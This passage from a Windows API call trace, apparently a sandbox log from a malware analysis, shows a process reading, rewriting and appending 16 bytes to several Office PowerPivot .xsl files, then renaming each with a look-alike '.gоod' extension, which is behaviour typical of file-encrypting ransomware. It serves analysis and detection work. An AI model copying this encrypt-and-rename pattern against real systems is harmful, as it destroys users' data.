fInfoLevelId=0x0, lpFileInformation=0x39f60c8 | out: lpFileInformation=0x39f60c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c)) returned 1 [0244.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0244.610] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", lpFilePart=0x0) returned 0x65 [0244.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0244.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.610] GetFileType (hFile=0x630) returned 0x1 [0244.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0244.610] GetFileType (hFile=0x630) returned 0x1 [0244.610] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0244.611] ReadFile (in: hFile=0x630, lpBuffer=0x39f6550, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x39f6550*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0244.828] CloseHandle (hObject=0x630) returned 1 [0244.828] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", lpFilePart=0x0) returned 0x65 [0244.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0244.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.828] GetFileType (hFile=0x630) returned 0x1 [0244.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0244.828] GetFileType (hFile=0x630) returned 0x1 [0244.829] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x858c [0244.829] WriteFile (in: hFile=0x630, lpBuffer=0x3a0d970*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3a0d970*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0244.988] CloseHandle (hObject=0x630) returned 1 [0244.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", lpFilePart=0x0) returned 0x65 [0244.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0244.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.988] GetFileType (hFile=0x630) returned 0x1 [0244.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0244.989] GetFileType (hFile=0x630) returned 0x1 [0244.989] ReadFile (in: hFile=0x630, lpBuffer=0x3c28a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3c28a30*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0245.185] CloseHandle (hObject=0x630) returned 1 [0245.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", lpFilePart=0x0) returned 0x65 [0245.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0245.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0245.186] GetFileType (hFile=0x630) returned 0x1 [0245.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0245.186] GetFileType (hFile=0x630) returned 0x1 [0245.186] WriteFile (in: hFile=0x630, lpBuffer=0x3c27750*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3c27750*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0245.186] CloseHandle (hObject=0x630) returned 1 [0245.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", lpFilePart=0x0) returned 0x65 [0245.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.gоod", lpFilePart=0x0) returned 0x6a [0245.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0245.186] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8e59fe7f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x859c)) returned 1 [0245.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0245.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl.gоod")) returned 1 [0245.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", lpFilePart=0x0) returned 0x63 [0245.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0245.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3870ad0 | out: lpFileInformation=0x3870ad0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02)) returned 1 [0245.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0245.908] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", lpFilePart=0x0) returned 0x63 [0245.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0245.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0245.909] GetFileType (hFile=0x85c) returned 0x1 [0245.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0245.909] GetFileType (hFile=0x85c) returned 0x1 [0245.909] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0245.910] ReadFile (in: hFile=0x85c, lpBuffer=0x3870f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3870f90*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0245.911] CloseHandle (hObject=0x85c) returned 1 [0245.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", lpFilePart=0x0) returned 0x63 [0245.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0245.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0245.911] GetFileType (hFile=0x85c) returned 0x1 [0245.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0245.911] GetFileType (hFile=0x85c) returned 0x1 [0245.911] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x7e02 [0245.912] WriteFile (in: hFile=0x85c, lpBuffer=0x3872af0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3872af0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0245.913] CloseHandle (hObject=0x85c) returned 1 [0245.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", lpFilePart=0x0) returned 0x63 [0245.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0245.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0245.913] GetFileType (hFile=0x85c) returned 0x1 [0245.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0245.913] GetFileType (hFile=0x85c) returned 0x1 [0245.914] ReadFile (in: hFile=0x85c, lpBuffer=0x3874e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3874e10*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0248.820] CloseHandle (hObject=0x85c) returned 1 [0248.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", lpFilePart=0x0) returned 0x63 [0248.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0248.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.820] GetFileType (hFile=0x85c) returned 0x1 [0248.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0248.820] GetFileType (hFile=0x85c) returned 0x1 [0248.821] WriteFile (in: hFile=0x85c, lpBuffer=0x3237500*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3237500*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0248.821] CloseHandle (hObject=0x85c) returned 1 [0248.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", lpFilePart=0x0) returned 0x63 [0248.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.gоod", lpFilePart=0x0) returned 0x68 [0248.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0248.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x90858221, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7e12)) returned 1 [0248.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0248.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl.gоod")) returned 1 [0248.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", lpFilePart=0x0) returned 0x63 [0248.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0248.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), fInfoLevelId=0x0, lpFileInformation=0x37e1ca0 | out: lpFileInformation=0x37e1ca0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16736b69, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16736b69, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559)) returned 1 [0248.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0248.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", lpFilePart=0x0) returned 0x63 [0248.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0248.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.823] GetFileType (hFile=0x85c) returned 0x1 [0248.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0248.824] GetFileType (hFile=0x85c) returned 0x1 [0248.824] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0248.824] ReadFile (in: hFile=0x85c, lpBuffer=0x37e2118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x37e2118*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0248.825] CloseHandle (hObject=0x85c) returned 1 [0248.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", lpFilePart=0x0) returned 0x63 [0248.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0248.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.825] GetFileType (hFile=0x85c) returned 0x1 [0248.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0248.825] GetFileType (hFile=0x85c) returned 0x1 [0248.825] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x18559 [0248.826] WriteFile (in: hFile=0x85c, lpBuffer=0x37e34d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x37e34d0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0248.826] CloseHandle (hObject=0x85c) returned 1 [0248.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", lpFilePart=0x0) returned 0x63 [0248.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0248.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.827] GetFileType (hFile=0x85c) returned 0x1 [0248.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0248.827] GetFileType (hFile=0x85c) returned 0x1 [0248.827] ReadFile (in: hFile=0x85c, lpBuffer=0x37e5810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x37e5810*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0248.856] CloseHandle (hObject=0x85c) returned 1 [0248.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", lpFilePart=0x0) returned 0x63 [0248.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0248.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.856] GetFileType (hFile=0x85c) returned 0x1 [0248.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0248.856] GetFileType (hFile=0x85c) returned 0x1 [0248.856] WriteFile (in: hFile=0x85c, lpBuffer=0x37e4538*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x37e4538*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0248.856] CloseHandle (hObject=0x85c) returned 1 [0248.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", lpFilePart=0x0) returned 0x63 [0248.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.gоod", lpFilePart=0x0) returned 0x68 [0248.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0248.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16736b69, 